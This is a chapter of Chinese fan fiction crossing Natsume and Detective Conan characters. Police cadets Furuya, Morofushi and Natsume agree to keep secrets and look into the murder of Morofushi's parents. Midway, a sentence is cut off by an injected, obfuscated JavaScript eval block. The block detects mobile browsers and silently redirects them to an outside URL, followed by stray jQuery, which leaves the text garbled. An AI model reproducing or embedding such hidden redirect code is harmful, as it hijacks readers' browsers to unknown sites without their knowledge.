5. 夏目,我们是朋友吧?
作品:《夏目弟弟在柯学世界捡便当》 诸伏景光看着自己幼驯染本来就偏深的肤色,在此刻下仿佛变得更黑了半分,不由得轻笑出声。
“hiro!”
“抱歉zero。”诸伏景光握拳掩住了还上扬的嘴角,顶着幼驯染谴责目光,眼睛微弯,“zero,还是先让夏目进来吧。”
降谷零的手放在夏目和希头上,顺手在夏目和希头顶揉了一下,把本来顺滑的金发揉成了一团。但夏目和希还是不说话,降谷零不由得叹了口气。
“坐好。我来给你找一下。”
夏目和希被降谷零安置到了一个凳子上,看着降谷零在忙忙碌碌的背影。
“来,夏目要不要说说,自己还记得些什么吧?”诸伏景光接了三杯水,抿了一口,温度正合适,便把一杯塞到了夏目和希手中,另一杯放到了电脑桌旁。
夏目和希抬起了头。
幼年的记忆早就变得模糊褪色,在他刚出生不久,妈妈就不在了,爸爸扶养他们长大,之后爸爸也不在了。
现在唯一可能还在世上的哥哥,那么多年了,还会记得他吗?
“夏目!”
夏目和希猛地被急切的声音唤醒,手中的杯子被捏的粉碎,鲜血伴随着温水留到了衣服上,顺着蔓延到了地上。
诸伏景光猛地起身,尽量缓慢地拉开了夏目和希还虚虚握着的手,仔细观察了片刻才松了口气。
同样父母早逝,只有一个无法共同居住,但自己极为尊敬的哥哥,诸伏景光自认为应该是很了解夏目和希的。
但现在他才意识到,有着沟通、确保在人世和彻底的生死不知比起来,却是一条可怕的鸿沟。
刚被玻璃划破的伤口已经被清理干净,鲜血微微凝滞,夏目和希坐在凳子上,像是还没有缓过神来一样。
“夏目?”诸伏景光试探性的问道,看着眼前人本来涣散的瞳孔逐渐对焦,恢复了往日的清明。
“诸伏?我刚才好像走神了,没控制住力道......我会赔偿杯子的。”夏目本想用手挠挠头,刚抬起手,手腕又被抓住了。
隐隐崩溃的诸伏景光:“受伤了就不要乱动啊!”
这又不是什么动漫!哪个正常人可以直接把玻璃杯一把握碎啊!
默默记下玻璃杯厂商的名字,准备日后调查他家生产是否合格的诸伏景光如此想到。
夏目和希看似对人情世故一窍不通,还带着那么容易被霸凌的身世,还能安稳长到那么大也隐隐有了合理的解释。
这家伙不会是只靠着自己的武力值,把所有想要欺负他的人都打跑了吧?
夏目和希:“啊,抱歉。不过,伤应该快好了。”
降谷零在座椅上慢慢的转过了身子,和同样不可置信的幼驯染对视了一眼。
刚才的伤,降谷零是看到了的。伤势虽然不严重,但绝对不可能是短短几句话的功夫就能治好的。
现场沉默了一下,在夏目和希询问的目光中,降谷零的大脑飞快的转动着。
这种能力要是被别人知道,只怕夏目和希第二天就要被从警校退学,被送到不知道哪个地方去当小白鼠了。
但是这话......不说身为警察适不适合直接质疑国家的正义,就算他们说了,夏目和希就能明白吗?
降谷零突然灵机一动:“夏目,我们是朋友吧?”
夏目和希:“你说的朋友的定义是......”
“咱们现在就是朋友,朋友就要有共同的秘密。”降谷零向诸伏景光眨眨眼。
对上夏目和希的视线,诸伏景光淡定地点点头,“对,朋友就是会有共同的秘密的,所以夏目不能让别人知道你伤口会好的很快。”
诸伏景光没有一点骗人的罪恶感,反而觉得这是一个不错的主意。
真不愧是零,那么快就能想到解决办法。
“这样的吗?”夏目和希看着齐齐对他点头的两人,无奈耸了耸肩。
下一刻,雪白的纱布上又染上了淡淡的血色。
“笨蛋!不是这个意思啊!”
“呼。”降谷零长松了一口气。“现在我先说说夏目那个哥哥可能的情况。”
说着降谷零便瞪了夏目和希一眼,看着夏目和希转过头不看向他,耳朵却不受控制的动了动。
“姓夏目,父母不在人世。若是时间没有错的话,大概是五六岁的时候便到了亲戚家。这样子的话,范围已经很小了。”
“但是从报道和警校的系统上,找不到精确的位置。也就是说,需要我们去找可能知道的人问才行。”
降谷零留意着两人的表情,见都接受良好,这才悄悄松了口气。
降谷零的手已经要移动到电脑电源上了,在按下电源的前一刻,一声温和的声响在耳畔响起。
“zero。”
诸伏景光笑了,“不用那么担心我做噩梦。要是不知道真相,我反而才会睡不着的。”
降谷零叹了口气,“好吧,hiro。夏目,我们回去吧。”
诸伏景光放不下杀了他父母的案子。作为他的幼驯染,降谷零更是清楚在诸伏夫妇刚遇害之后的时候,hiro是什么样的状态。
景光一定会亲自抓出来杀了父母的凶手,并让他接受法律的制裁。
等等,刚才还在手底下的那么大一个夏目和希呢?
夏目和希搬着凳子坐到了诸伏景光旁边。
降谷零无奈:“夏目,该走了。”
夏目和希瞥了降谷零一眼,又继续直勾勾地盯着诸伏景光。
“你们刚才和我说,朋友之间,是有共同的秘密的,不是吗?”
诸伏景光被夏目和希盯得背后一寒。
夏目和希脑子转的还挺快......看来下次再糊弄人,就要想一个更容易说得过去的理由了。
诸伏景光:“是的。”
夏目和希突然眉眼弯了弯:“这样子的话,就让我来为诸伏保守秘密吧!”
上半身向着诸伏景光倾去,诸伏景光的整个上半身不断的向后躲。
诸伏景光看着两人之间的距离不断缩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735319|174068||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
近,额间的冷汗都要落下来了。
档案室年久失修的凳子禁不住诸伏景光这种幅度的倾倒。诸伏景光只感受到片刻的不对劲,下一刻凳子便彻底散架。
夏目和希猛地起身,在诸伏景光微微的怔愣的目光中,一手牵起了诸伏景光的手,一手把住了诸伏景光的胳膊。
向后退了半步,然后便是一个以自身为中心的大旋转。诸伏景光感受着一股巨力,整个人像是飞一样,被夏目和希硬生生带着飞了半圈。
“诸伏?你还好吗?”
诸伏余光瞥见旁边凑过来的金色脑袋,听着门口处默默响起的幼驯染的鼓掌声。
......很好,头发是金色的人和心眼总有一个是黑色的。
诸伏景光一把按住那团还在试图向他靠近,不安分的金毛,站直了身子。起身就对上了门口幼驯染略带担忧又忍不住戏谑的视线。
诸伏景光:“......”
“行吧,朋友就该有共同的秘密。”诸伏景光打开了藏在角落里的档案。“这件事情本应该是我一个人的事情,不应该把你们牵扯进来的。”
诸伏景光话说一半,一只手沉默的拍了拍他的肩。
在惨淡的现实面前,一切安慰的话语都是空谈。诸伏景光安静的接受这来自幼驯染无声的宽慰。
夏目和希微眯着眼,盯着档案,“虽然可能会引起你的痛苦,但是诸伏,你还能想到什么吗?”
诸伏景光沉默了片刻,“当时我只记得那人身上,有一个高脚杯的纹身......”
话音刚落,诸伏景光突然感觉到夏目和希身上的气息好像是变了一瞬,像是之前一直压抑,笼罩在他身上的东西失去了禁锢......
本来鲜明的发色和淡淡的眼眸也变得暗沉起来。档案室内,金色的发色无风自动,月光照了进来,在夏目的发丝上铺了一层浅淡的银白色。
诸伏景光愣了一下。下一刻,那感觉便像是错觉一样,顷刻间消失的无影无踪,仿佛一切都是他的错觉。
夏目和希微微皱眉:“除了高脚杯,还有其他的吗?”
目前的东京,并没有有嫌疑的人,身上带着高脚杯纹身。
诸伏景光摇摇头,“时间过去太久,我只能回想起这些了......高明哥也不赞同我继续查父母的案子。”
话一出口,诸伏景光便意识到了不对。只能看着夏目和希的神情,只发现他像是还在深思。
“夏目?”
“嗯?”
夏目和希抬头,看着诸伏景光略带担忧的神情,无奈说道:“我又不是瓷娃娃,再说,景光你又没做错什么......”
诸伏景光刚注意到夏目和希称呼的改变,脸上的笑容还没出现,就被夏目和希下一句话彻底夺走了注意力。
“我要出警校一趟,白天应该也回不来。”夏目和希抬手解开了手上的绷带,向着窗户走去,“我会找教官请假的。”
白皙健康的手一撑窗口,夏目和希整个人消失在了两人的视野里。

